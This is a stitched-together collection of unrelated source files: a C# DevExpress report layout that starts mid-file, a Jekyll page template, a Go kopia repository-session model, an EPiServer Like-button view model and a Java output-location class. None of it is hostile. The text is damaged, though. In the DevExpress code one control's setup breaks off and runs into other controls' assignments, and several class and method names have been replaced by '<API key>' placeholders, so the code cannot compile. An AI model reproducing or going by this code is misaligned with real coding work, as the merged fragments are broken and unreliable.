((DevExpress.XtraPrinting.BorderSide)((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrBatch5.Name = "xrBatch5"; this.xrBatch5.StylePriority.UseBorders = false; this.xrBatch5.StylePriority.UseTextAlignment = false; this.xrBatch5.Text = "xrBatch5"; this.xrBatch5.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrBatch5.Weight = 0.21932981354501713D; // xrBatch6 this.xrBatch6.Borders = ((DevExpress.XtraPrinting.BorderSide)((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrBatch6.Name = "xrBatch6"; this.xrBatch6.StylePriority.UseBorders = false; this.xrBatch6.StylePriority.UseTextAlignment = false; this.xrBatch6.Text = "xrBatch6"; this.xrBatch6.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrBatch6.Weight = 0.21932980797892387D; // xrBatchB this.xrBatchB.Borders = ((DevExpress.XtraPrinting.BorderSide)((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrBatchB.Name = "xrBatchB"; this.xrBatchB.StylePriority.UseBorders = false; this.xrBatchB.StylePriority.UseTextAlignment = false; this.xrBatchB.Text = "xrBatchB"; this.xrBatchB.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrBatchB.Weight = 0.2193298025618684D; // xrBatchW this.xrBatchW.Borders = ((DevExpress.XtraPrinting.BorderSide)((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrBatchW.Name = "xrBatchW"; this.xrBatchW.StylePriority.UseBorders = false; this.xrBatchW.StylePriority.UseTextAlignment = false; this.xrBatchW.Text = "xrBatchW"; this.xrBatchW.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrBatchW.Weight = 0.21932980514517925D; // xrBatchL this.xrBatchL.Borders = ((DevExpress.XtraPrinting.BorderSide)((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrBatchL.Name = "xrBatchL"; this.xrBatchL.StylePriority.UseBorders = false; this.xrBatchL.StylePriority.UseTextAlignment = false; this.xrBatchL.Text = "xrBatchL"; this.xrBatchL.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrBatchL.Weight = 0.21932980436755359D; // xrAllBatch this.xrAllBatch.Borders = ((DevExpress.XtraPrinting.BorderSide)(((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Right) | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrAllBatch.Name = "xrAllBatch"; this.xrAllBatch.StylePriority.UseBorders = false; this.xrAllBatch.StylePriority.UseTextAlignment = false; this.xrAllBatch.Text = "xrAllBatch"; this.xrAllBatch.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrAllBatch.Weight = 0.25437855038829715D; // TopMargin this.TopMargin.HeightF = 42F; this.TopMargin.Name = "TopMargin"; this.TopMargin.Padding = new DevExpress.XtraPrinting.PaddingInfo(0, 0, 0, 0, 100F); this.TopMargin.TextAlignment = DevExpress.XtraPrinting.TextAlignment.TopLeft; // BottomMargin this.BottomMargin.HeightF = 34.24994F; this.BottomMargin.Name = "BottomMargin"; this.BottomMargin.Padding = new DevExpress.XtraPrinting.PaddingInfo(0, 0, 0, 0, 100F); this.BottomMargin.TextAlignment = DevExpress.XtraPrinting.TextAlignment.TopLeft; // ReportHeader this.ReportHeader.Controls.AddRange(new DevExpress.XtraReports.UI.XRControl[] { this.xlZX, this.xlZXDate, this.xlKDDate, this.xlKD1, this.xrDY1, this.xlDYstart, this.xrDY2, this.xlDYEnd, this.xrRepertHeader}); this.ReportHeader.HeightF = 111.1667F; this.ReportHeader.Name = "ReportHeader"; // xlZX this.xlZX.Font = new System.Drawing.Font("Times New Roman", 9.75F); this.xlZX.LocationFloat = new DevExpress.Utils.PointFloat(633.5764F, 78.16674F); this.xlZX.Name = "xlZX"; this.xlZX.Padding = new DevExpress.XtraPrinting.PaddingInfo(2, 2, 0, 0, 100F); this.xlZX.SizeF = new System.Drawing.SizeF(82.59384F, 23.00001F); this.xlZX.StylePriority.UseFont = false; this.xlZX.StylePriority.UseTextAlignment = false; this.xlZX.Text = ""; this.xlZX.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xlZX.Visible = false; // xlZXDate this.xlZXDate.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Bold); this.xlZXDate.LocationFloat = new DevExpress.Utils.PointFloat(716.1702F, 78.16674F); this.xlZXDate.Name = "xlZXDate"; this.xlZXDate.Padding = new DevExpress.XtraPrinting.PaddingInfo(2, 2, 0, 0, 100F); this.xlZXDate.SizeF = new System.Drawing.SizeF(108.3733F, 23.00002F); this.xlZXDate.StylePriority.UseFont = false; this.xlZXDate.StylePriority.UseTextAlignment = false; this.xlZXDate.Text = "2222/22/22"; this.xlZXDate.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xlZXDate.Visible = false; // xlKDDate this.xlKDDate.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Bold); this.xlKDDate.LocationFloat = new DevExpress.Utils.PointFloat(525.2031F, 78.16674F); this.xlKDDate.Name = "xlKDDate"; this.xlKDDate.Padding = new DevExpress.XtraPrinting.PaddingInfo(2, 2, 0, 0, 100F); this.xlKDDate.SizeF = new System.Drawing.SizeF(108.3733F, 23.00002F); this.xlKDDate.StylePriority.UseFont = false; this.xlKDDate.StylePriority.UseTextAlignment = false; this.xlKDDate.Text = "2222/22/22"; this.xlKDDate.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xlKDDate.Visible = false; // xlKD1 this.xlKD1.Font = new System.Drawing.Font("Times New Roman", 9.75F); this.xlKD1.LocationFloat = new DevExpress.Utils.PointFloat(442.6093F, 78.16674F); this.xlKD1.Name = "xlKD1"; this.xlKD1.Padding = new DevExpress.XtraPrinting.PaddingInfo(2, 2, 0, 0, 100F); this.xlKD1.SizeF = new System.Drawing.SizeF(82.59384F, 23.00001F); this.xlKD1.StylePriority.UseFont = false; this.xlKD1.StylePriority.UseTextAlignment = false; this.xlKD1.Text = ""; this.xlKD1.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xlKD1.Visible = false; // xrDY1 this.xrDY1.Font = new System.Drawing.Font("Times New Roman", 9.75F); this.xrDY1.LocationFloat = new DevExpress.Utils.PointFloat(18.99999F, 78.16671F); this.xrDY1.Name = "xrDY1"; this.xrDY1.Padding = new DevExpress.XtraPrinting.PaddingInfo(2, 2, 0, 0, 100F); this.xrDY1.SizeF = new System.Drawing.SizeF(82.59384F, 23.00001F); this.xrDY1.StylePriority.UseFont = false; this.xrDY1.StylePriority.UseTextAlignment = false; this.xrDY1.Text = ""; this.xrDY1.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrDY1.Visible = false; // xlDYstart this.xlDYstart.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Bold); this.xlDYstart.LocationFloat = new DevExpress.Utils.PointFloat(101.5938F, 78.16671F); this.xlDYstart.Name = "xlDYstart"; this.xlDYstart.Padding = new DevExpress.XtraPrinting.PaddingInfo(2, 2, 0, 0, 100F); this.xlDYstart.SizeF = new System.Drawing.SizeF(156.8757F, 23.00002F); this.xlDYstart.StylePriority.UseFont = false; this.xlDYstart.StylePriority.UseTextAlignment = false; this.xlDYstart.Text = "2222/22/22 22:33:33"; this.xlDYstart.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xlDYstart.Visible = false; // xrDY2 this.xrDY2.Font = new System.Drawing.Font("Times New Roman", 9.75F); this.xrDY2.LocationFloat = new DevExpress.Utils.PointFloat(258.4695F, 78.16671F); this.xrDY2.Name = "xrDY2"; this.xrDY2.Padding = new DevExpress.XtraPrinting.PaddingInfo(2, 2, 0, 0, 100F); this.xrDY2.SizeF = new System.Drawing.SizeF(27.2641F, 23.00001F); this.xrDY2.StylePriority.UseFont = false; this.xrDY2.StylePriority.UseTextAlignment = false; this.xrDY2.Text = "~"; this.xrDY2.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrDY2.Visible = false; // xlDYEnd this.xlDYEnd.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Bold); this.xlDYEnd.LocationFloat = new DevExpress.Utils.PointFloat(285.7336F, 78.16671F); this.xlDYEnd.Name = "xlDYEnd"; this.xlDYEnd.Padding = new DevExpress.XtraPrinting.PaddingInfo(2, 2, 0, 0, 100F); this.xlDYEnd.SizeF = new System.Drawing.SizeF(156.8757F, 22.99998F); this.xlDYEnd.StylePriority.UseFont = false; this.xlDYEnd.StylePriority.UseTextAlignment = false; this.xlDYEnd.Text = "2222/22/22 22:33:33"; this.xlDYEnd.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xlDYEnd.Visible = false; // xrRepertHeader this.xrRepertHeader.Font = new System.Drawing.Font("Times New Roman", 24F, System.Drawing.FontStyle.Bold); this.xrRepertHeader.LocationFloat = new DevExpress.Utils.PointFloat(16.5F, 10.00001F); this.xrRepertHeader.Name = "xrRepertHeader"; this.xrRepertHeader.Padding = new DevExpress.XtraPrinting.PaddingInfo(2, 2, 0, 0, 100F); this.xrRepertHeader.SizeF = new System.Drawing.SizeF(823.4999F, 45.91666F); this.xrRepertHeader.StylePriority.UseFont = false; this.xrRepertHeader.StylePriority.UseTextAlignment = false; this.xrRepertHeader.Text = ""; this.xrRepertHeader.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; // ReportFooter this.ReportFooter.Controls.AddRange(new DevExpress.XtraReports.UI.XRControl[] { this.xrLabel8, this.xrPrintBy, this.lblPrintDate, this.xrLabel6, this.xrPageInfo1}); this.ReportFooter.HeightF = 60.66672F; this.ReportFooter.Name = "ReportFooter"; // xrLabel8 this.xrLabel8.Font = new System.Drawing.Font("Times New Roman", 9F); this.xrLabel8.LocationFloat = new DevExpress.Utils.PointFloat(18.99999F, 10.00001F); this.xrLabel8.Multiline = true; this.xrLabel8.Name = "xrLabel8"; this.xrLabel8.Padding = new DevExpress.XtraPrinting.PaddingInfo(2, 2, 0, 0, 100F); this.xrLabel8.SizeF = new System.Drawing.SizeF(67.70834F, 23F); this.xrLabel8.StylePriority.UseFont = false; this.xrLabel8.StylePriority.UseTextAlignment = false; this.xrLabel8.Text = "\r\n"; this.xrLabel8.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleLeft; // xrPrintBy this.xrPrintBy.Font = new System.Drawing.Font("Times New Roman", 9F); this.xrPrintBy.LocationFloat = new DevExpress.Utils.PointFloat(86.70836F, 10.00001F); this.xrPrintBy.Name = "xrPrintBy"; this.xrPrintBy.Padding = new DevExpress.XtraPrinting.PaddingInfo(2, 2, 0, 0, 100F); this.xrPrintBy.SizeF = new System.Drawing.SizeF(134.375F, 22.99999F); this.xrPrintBy.StylePriority.UseFont = false; this.xrPrintBy.StylePriority.UseTextAlignment = false; this.xrPrintBy.Text = "xrPrintBy"; this.xrPrintBy.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleLeft; // lblPrintDate this.lblPrintDate.Font = new System.Drawing.Font("Times New Roman", 9.75F); this.lblPrintDate.LocationFloat = new DevExpress.Utils.PointFloat(699.4152F, 10.00001F); this.lblPrintDate.Name = "lblPrintDate"; this.lblPrintDate.Padding = new DevExpress.XtraPrinting.PaddingInfo(2, 2, 0, 0, 100F); this.lblPrintDate.SizeF = new System.Drawing.SizeF(145.4509F, 23.00002F); this.lblPrintDate.StylePriority.UseFont = false; this.lblPrintDate.StylePriority.UseTextAlignment = false; this.lblPrintDate.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleLeft; // xrLabel6 this.xrLabel6.Font = new System.Drawing.Font("Times New Roman", 9.75F); this.xrLabel6.LocationFloat = new DevExpress.Utils.PointFloat(602.238F, 10.00001F); this.xrLabel6.Name = "xrLabel6"; this.xrLabel6.Padding = new DevExpress.XtraPrinting.PaddingInfo(2, 2, 0, 0, 100F); this.xrLabel6.SizeF = new System.Drawing.SizeF(97.17715F, 23.00001F); this.xrLabel6.StylePriority.UseFont = false; this.xrLabel6.StylePriority.UseTextAlignment = false; this.xrLabel6.Text = ""; this.xrLabel6.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleRight; // xrPageInfo1 this.xrPageInfo1.LocationFloat = new DevExpress.Utils.PointFloat(770.4121F, 33.00002F); this.xrPageInfo1.Name = "xrPageInfo1"; this.xrPageInfo1.Padding = new DevExpress.XtraPrinting.PaddingInfo(2, 2, 0, 0, 100F); this.xrPageInfo1.SizeF = new System.Drawing.SizeF(50F, 23F); this.xr.Borders = ((DevExpress.XtraPrinting.BorderSide)(((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Top) | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xr.Name = "xr"; this.xr.Padding = new DevExpress.XtraPrinting.PaddingInfo(5, 0, 0, 0, 100F); this.xr.StylePriority.UseBorders = false; this.xr.StylePriority.UsePadding = false; this.xr.StylePriority.UseTextAlignment = false; this.xr.Text = "2"; this.xr.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xr.Weight = 0.21635782812123941D; // xrTableCell3 this.xrTableCell3.Borders = ((DevExpress.XtraPrinting.BorderSide)(((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Top) | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrTableCell3.Name = "xrTableCell3"; this.xrTableCell3.StylePriority.UseBorders = false; this.xrTableCell3.StylePriority.UseTextAlignment = false; this.xrTableCell3.Text = "1"; this.xrTableCell3.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrTableCell3.Weight = 0.21635782165233986D; // xrTableCell2 this.xrTableCell2.Borders = ((DevExpress.XtraPrinting.BorderSide)(((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Top) | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrTableCell2.Name = "xrTableCell2"; this.xrTableCell2.StylePriority.UseBorders = false; this.xrTableCell2.StylePriority.UseTextAlignment = false; this.xrTableCell2.Text = ""; this.xrTableCell2.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrTableCell2.Weight = 0.21635782739762832D; // xrTableCell4 this.xrTableCell4.Borders = ((DevExpress.XtraPrinting.BorderSide)(((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Top) | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrTableCell4.Name = "xrTableCell4"; this.xrTableCell4.StylePriority.UseBorders = false; this.xrTableCell4.StylePriority.UseTextAlignment = false; this.xrTableCell4.Text = "\\"; this.xrTableCell4.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrTableCell4.Weight = 0.55500149632994178D; // xrTableRow3 this.xrTableRow3.Cells.AddRange(new DevExpress.XtraReports.UI.XRTableCell[] { this.xrTableCell4, this.xrTableCell2, this.xrTableCell3, this.xr, this.xrTableCell1, this.xrTableCell8, this.xrTableCell9, this.xrTableCell10, this.xrTableCell11, this.xrTableCell5, this.xrTableCell6, this.xrTableCell7}); this.xrTableRow3.Name = "xrTableRow3"; this.xrTableRow3.Weight = 1D; // xrTableCell1 this.xrTableCell1.Borders = ((DevExpress.XtraPrinting.BorderSide)(((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Top) | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrTableCell1.Name = "xrTableCell1"; this.xrTableCell1.StylePriority.UseBorders = false; this.xrTableCell1.StylePriority.UseTextAlignment = false; this.xrTableCell1.Text = "3"; this.xrTableCell1.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrTableCell1.Weight = 0.21635793591515309D; // xrTableCell8 this.xrTableCell8.Borders = ((DevExpress.XtraPrinting.BorderSide)(((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Top) | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrTableCell8.Name = "xrTableCell8"; this.xrTableCell8.StylePriority.UseBorders = false; this.xrTableCell8.Text = "4"; this.xrTableCell8.Weight = 0.21635784117031898D; // xrTableCell9 this.xrTableCell9.Borders = ((DevExpress.XtraPrinting.BorderSide)(((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Top) | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrTableCell9.Name = "xrTableCell9"; this.xrTableCell9.StylePriority.UseBorders = false; this.xrTableCell9.Text = "5"; this.xrTableCell9.Weight = 0.21635794209431053D; // xrTableCell10 this.xrTableCell10.Borders = ((DevExpress.XtraPrinting.BorderSide)(((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Top) | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrTableCell10.Name = "xrTableCell10"; this.xrTableCell10.StylePriority.UseBorders = false; this.xrTableCell10.Text = "6"; this.xrTableCell10.Weight = 0.21635761118606367D; // xrTableCell11 this.xrTableCell11.Borders = ((DevExpress.XtraPrinting.BorderSide)(((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Top) | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrTableCell11.Name = "xrTableCell11"; this.xrTableCell11.StylePriority.UseBorders = false; this.xrTableCell11.Text = ""; this.xrTableCell11.Weight = 0.21635761118606367D; // xrTableCell5 this.xrTableCell5.Borders = ((DevExpress.XtraPrinting.BorderSide)(((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Top) | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrTableCell5.Name = "xrTableCell5"; this.xrTableCell5.StylePriority.UseBorders = false; this.xrTableCell5.StylePriority.UseTextAlignment = false; this.xrTableCell5.Text = "2"; this.xrTableCell5.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrTableCell5.Weight = 0.2163580562136298D; // xrTableCell6 this.xrTableCell6.Borders = ((DevExpress.XtraPrinting.BorderSide)(((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Top) | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrTableCell6.Name = "xrTableCell6"; this.xrTableCell6.StylePriority.UseBorders = false; this.xrTableCell6.StylePriority.UseTextAlignment = false; this.xrTableCell6.Text = ""; this.xrTableCell6.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrTableCell6.Weight = 0.21635783261726718D; // xrTableCell7 this.xrTableCell7.Borders = ((DevExpress.XtraPrinting.BorderSide)((((DevExpress.XtraPrinting.BorderSide.Left | DevExpress.XtraPrinting.BorderSide.Top) | DevExpress.XtraPrinting.BorderSide.Right) | DevExpress.XtraPrinting.BorderSide.Bottom))); this.xrTableCell7.Name = "xrTableCell7"; this.xrTableCell7.StylePriority.UseBorders = false; this.xrTableCell7.StylePriority.UseTextAlignment = false; this.xrTableCell7.Text = ""; this.xrTableCell7.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; this.xrTableCell7.Weight = 0.25093144098893139D; // xrTable3 this.xrTable3.LocationFloat = new DevExpress.Utils.PointFloat(16.5F, 0F); this.xrTable3.Name = "xrTable3"; this.xrTable3.Rows.AddRange(new DevExpress.XtraReports.UI.XRTableRow[] { this.xrTableRow3}); this.xrTable3.SizeF = new System.Drawing.SizeF(823.5F, 25F); this.xrTable3.StylePriority.UseTextAlignment = false; this.xrTable3.TextAlignment = DevExpress.XtraPrinting.TextAlignment.MiddleCenter; // GroupHeader1 this.GroupHeader1.Controls.AddRange(new DevExpress.XtraReports.UI.XRControl[] { this.xrTable3}); this.GroupHeader1.HeightF = 25F; this.GroupHeader1.Name = "GroupHeader1"; // <API key> this.Bands.AddRange(new DevExpress.XtraReports.UI.Band[] { this.ReportHeader, this.ReportFooter, this.BottomMargin, this.Detail, this.TopMargin, this.GroupHeader1}); this.Margins = new System.Drawing.Printing.Margins(0, 0, 42, 34); this.Version = "12.1"; ((System.ComponentModel.ISupportInitialize)(this.xrTable1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.xrTable3)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this)).EndInit(); } #endregion private DevExpress.XtraReports.UI.DetailBand Detail; private DevExpress.XtraReports.UI.TopMarginBand TopMargin; private DevExpress.XtraReports.UI.BottomMarginBand BottomMargin; private DevExpress.XtraReports.UI.ReportHeaderBand ReportHeader; private DevExpress.XtraReports.UI.ReportFooterBand ReportFooter; private DevExpress.XtraReports.UI.XRLabel lblPrintDate; private DevExpress.XtraReports.UI.XRLabel xrLabel6; private DevExpress.XtraReports.UI.XRLabel xrRepertHeader; private DevExpress.XtraReports.UI.XRPageInfo xrPageInfo1; private DevExpress.XtraReports.UI.XRTable xrTable1; private DevExpress.XtraReports.UI.XRTableRow xrTableRow1; private DevExpress.XtraReports.UI.XRTableCell xrIllfield; private DevExpress.XtraReports.UI.XRTableCell xrBatch1; private DevExpress.XtraReports.UI.XRTableCell xrBatch2; private DevExpress.XtraReports.UI.XRTableCell xrBatch3; private DevExpress.XtraReports.UI.XRLabel xrLabel8; private DevExpress.XtraReports.UI.XRLabel xrPrintBy; private DevExpress.XtraReports.UI.XRTableCell xr; private DevExpress.XtraReports.UI.XRTableCell xrTableCell3; private DevExpress.XtraReports.UI.XRTableCell xrTableCell2; private DevExpress.XtraReports.UI.XRTableCell xrTableCell4; private DevExpress.XtraReports.UI.XRTableRow xrTableRow3; private DevExpress.XtraReports.UI.XRTable xrTable3; private DevExpress.XtraReports.UI.GroupHeaderBand GroupHeader1; private DevExpress.XtraReports.UI.XRTableCell xrTableCell1; private DevExpress.XtraReports.UI.XRTableCell xrTableCell5; private DevExpress.XtraReports.UI.XRTableCell xrTableCell6; private DevExpress.XtraReports.UI.XRTableCell xrBatch4; private DevExpress.XtraReports.UI.XRTableCell xrBatch5; private DevExpress.XtraReports.UI.XRTableCell xrBatch6; private DevExpress.XtraReports.UI.XRTableCell xrTableCell7; private DevExpress.XtraReports.UI.XRTableCell xrAllBatch; private DevExpress.XtraReports.UI.XRTableCell xrBatchZ; private DevExpress.XtraReports.UI.XRTableCell xrBatchB; private DevExpress.XtraReports.UI.XRTableCell xrBatchL; private DevExpress.XtraReports.UI.XRTableCell xrTableCell8; private DevExpress.XtraReports.UI.XRTableCell xrTableCell9; private DevExpress.XtraReports.UI.XRTableCell xrTableCell10; private DevExpress.XtraReports.UI.XRLabel xrDY1; private DevExpress.XtraReports.UI.XRLabel xlDYstart; private DevExpress.XtraReports.UI.XRLabel xrDY2; private DevExpress.XtraReports.UI.XRLabel xlDYEnd; private DevExpress.XtraReports.UI.XRLabel xlKDDate; private DevExpress.XtraReports.UI.XRLabel xlKD1; private DevExpress.XtraReports.UI.XRTableCell xrBatchW; private DevExpress.XtraReports.UI.XRTableCell xrTableCell11; private DevExpress.XtraReports.UI.XRLabel xlZX; private DevExpress.XtraReports.UI.XRLabel xlZXDate; } }
{% include header_product.html%} <div class="company-section"> <div class="container"> <div class="company-text"> <h1 class="company-title">Company</h1> <div class="client-text-section"> {{ content }} </div> </div> </div> </div> {% include contact_info.html %} {% include footer.html %}
package repomodel import ( "github.com/kopia/kopia/repo/content" "github.com/kopia/kopia/repo/manifest" ) // RepositorySession models the behavior of a single session in an repository. type RepositorySession struct { OpenRepo *OpenRepository WrittenContents ContentSet WrittenManifests ManifestSet } // WriteContent adds the provided content ID to the model. func (s *RepositorySession) WriteContent(cid content.ID) { s.WrittenContents.Add(cid) } // WriteManifest adds the provided manifest ID to the model. func (s *RepositorySession) WriteManifest(mid manifest.ID) { s.WrittenManifests.Add(mid) } // Refresh refreshes the set of committed contents and manifest from repositor. func (s *RepositorySession) Refresh() { s.OpenRepo.Refresh() } // Flush flushes the changes written in this RepositorySession and makes them available // to other RepositoryData model. func (s *RepositorySession) Flush(wc *ContentSet, wm *ManifestSet) { s.OpenRepo.mu.Lock() defer s.OpenRepo.mu.Unlock() // data flushed is visible to other sessions in the same open repository. s.OpenRepo.Contents.Add(wc.ids...) s.OpenRepo.Manifests.Add(wm.ids...) // data flushed is visible to other sessions in other open repositories. s.OpenRepo.RepoData.Contents.Add(wc.ids...) s.OpenRepo.RepoData.Manifests.Add(wm.ids...) s.WrittenContents.RemoveAll(wc.ids...) s.WrittenManifests.RemoveAll(wm.ids...) }
using EPiServer.Core; namespace EPiServer.SocialAlloy.Web.Social.Models { <summary> The <API key> class represents the model that will be used to provide data to the Like button block frontend view. </summary> public class <API key> { <summary> Parameterless constructor </summary> public <API key>() { } <summary> Gets or sets the current page link. </summary> public PageReference PageLink { get; set; } <summary> Gets or sets the total number of Liked ratings found for the current page. </summary> public long TotalCount { get; set; } <summary> Gets or sets the existing Liked rating, if any, submitted by current user for the current page. </summary> public int? CurrentRating { get; set; } } }
package org.xmlcml.ami.visitor; import java.io.File; import java.util.List; import org.apache.commons.io.FilenameUtils; import org.apache.log4j.Logger; import org.xmlcml.ami.util.AMIUtil; import org.xmlcml.ami.visitable.VisitableInput; /** manages the output. * * Decides whether to create files or directories. May map the structure onto the input structure. * * @author pm286 * */ public class VisitorOutput { private static final Logger LOG = Logger.getLogger(VisitorOutput.class); private static final String <API key> = "target/"; private static final String DEFAULT_BASENAME = "dummy"; private static final String <API key> = ".xml"; private String outputLocation; // private VisitableInput visitableInput; private List<VisitableInput> visitableInputList; private String extension; private boolean isDirectory; private File outputDirectory; /** reads outputLocation and ducktypes the type (File, Directory, etc.). * * @param outputLocation */ public VisitorOutput(String outputLocation) { setDefaults(); this.outputLocation = outputLocation; <API key>(); } /** this creates a default outputLocation * */ public VisitorOutput() { setDefaults(); } private void setDefaults() { outputLocation = <API key>; extension = <API key>; outputDirectory = new File(<API key>); } /** not yet used * * @param visitableInput */ public void <API key>(List<VisitableInput> visitableInputList) { this.visitableInputList = visitableInputList; } private void <API key>() { if (outputLocation.startsWith(AMIUtil.HTTP)) { throw new RuntimeException("Cannot output to URL: "+outputLocation); } if (outputLocation.startsWith(AMIUtil.DOI)) { throw new RuntimeException("Cannot output to DOI: "+outputLocation); } if (outputLocation == null) { LOG.info("No explicit output location"); } else { outputLocation = FilenameUtils.normalize(new File(outputLocation).getAbsolutePath()); extension = FilenameUtils.getExtension(outputLocation); isDirectory = AMIUtil.endsWithSeparator(outputLocation) || extension == null || extension.equals(""); outputDirectory = new File(outputLocation); } } protected String getOutputLocation() { return outputLocation; } protected String getExtension() { return extension; } protected boolean isDirectory() { return isDirectory; } public File <API key>() { if (outputDirectory != null) { LOG.trace("outputDirectory: "+outputDirectory); if (outputDirectory.exists() && !outputDirectory.isDirectory()) { LOG.info("existing file is not a directory: "+outputDirectory); } else { <API key>(); outputDirectory.mkdirs(); String baseName = (visitableInputList == null || visitableInputList.size() == 0) ? DEFAULT_BASENAME : visitableInputList.get(0).getBaseName(); LOG.trace("basename "+baseName); outputDirectory = new File(outputDirectory, baseName+"."+extension); } } else { throw new RuntimeException("Null output directory"); } return outputDirectory; } private void <API key>() { if (!outputDirectory.toString().endsWith("/")) { File parent = outputDirectory.getParentFile(); outputDirectory = (parent == null) ? outputDirectory : parent; } } public void setExtension(String extension) { this.extension = extension; } }